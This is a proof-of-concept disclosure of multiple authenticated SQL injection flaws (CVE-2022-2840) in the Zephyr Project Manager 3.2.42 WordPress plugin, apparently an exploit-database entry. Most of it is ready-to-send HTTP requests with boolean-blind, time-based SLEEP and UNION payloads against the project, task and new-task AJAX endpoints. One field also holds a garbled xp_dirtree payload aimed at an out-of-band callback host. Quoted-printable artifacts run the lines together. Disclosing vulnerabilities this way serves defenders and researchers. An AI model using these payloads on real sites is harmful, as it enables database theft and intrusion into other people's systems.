WordPress Zephyr Project Manager 3.2.42 SQL Injection

# Exploit Title: Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQLi# Date: 14-08-2022# Exploit Author: Rizacan Tufan# Blog Post: https://rizax.blog/blog/wordpress-plugin-zephyr-project-manager-multiple-sqli-authenticated# Software Link: https://wordpress.org/plugins/zephyr-project-manager/# Vendor Homepage: https://zephyr-one.com/# Version: 3.2.42# Tested on: Windows, Linux# CVE : CVE-2022-2840 (https://wpscan.com/vulnerability/13d8be88-c3b7-4d6e-9792-c98b801ba53c)# DescriptionZephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks.It has been determined that the data coming from the input field in most places throughout the application are used in=20the query without any sanitize and validation.The details of the discovery are given below.# Proof of Concept (PoC)=20The details of the various SQL Injection on the application are given below.## Endpoint of Get Project Data.Sample Request :=20POST /wp-admin/admin-ajax.php HTTP/2Host: vuln.localCookie: ......Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_projectsContent-Type: application/x-www-form-urlencoded; charset=3DUTF-8X-Requested-With: XMLHttpRequestContent-Length: 74Origin: https://vuln.localSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersaction=3Dzpm_view_project&project_id=3D1&zpm_nonce=3D22858bf3a7Payload :=20---Parameter: project_id (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: action=3Dzpm_view_project&project_id=3D1 AND 4923=3D4923&zpm_nonce=3D22858bf3a7    Type: time-based blind    Title: MySQL >=3D 5.0.12 OR time-based blind (query SLEEP)    Payload: action=3Dzpm_view_project&project_id=3D1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=3D22858bf3a7    Type: UNION query    Title: Generic UNION query (NULL) - 20 columns    Payload: action=3Dzpm_view_project&project_id=3D-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=3D22858bf3a7---## Endpoint of Get Task Data.Sample Request :=20POST /wp-admin/admin-ajax.php HTTP/2Host: vuln.localCookie: ......Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasksContent-Type: application/x-www-form-urlencoded; charset=3DUTF-8X-Requested-With: XMLHttpRequestContent-Length: 51Origin: https://vuln.localSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailerstask_id=3D1&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7Payload :=20---Parameter: task_id (POST)    Type: time-based blind    Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)    Payload: task_id=3D1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7---## Endpoint of New Task.Sample Request :=20POST /wp-admin/admin-ajax.php HTTP/2Host: vuln.localCookie: ......Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasksContent-Type: application/x-www-form-urlencoded; charset=3DUTF-8X-Requested-With: XMLHttpRequestContent-Length: 337Origin: https://vuln.localSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailerstask_name=3Dtest&task_description=3Dtest&task_project=3D1&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Dtest&type=3Ddefault&recurrence%5Btype%5D=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7Payload :=20---Parameter: task_project (POST)    Type: time-based blind    Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)    Payload: task_name=3Dtest&task_description=3Dtest&task_project=3D1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Drrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=3Ddefault&recurrence[type]=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7---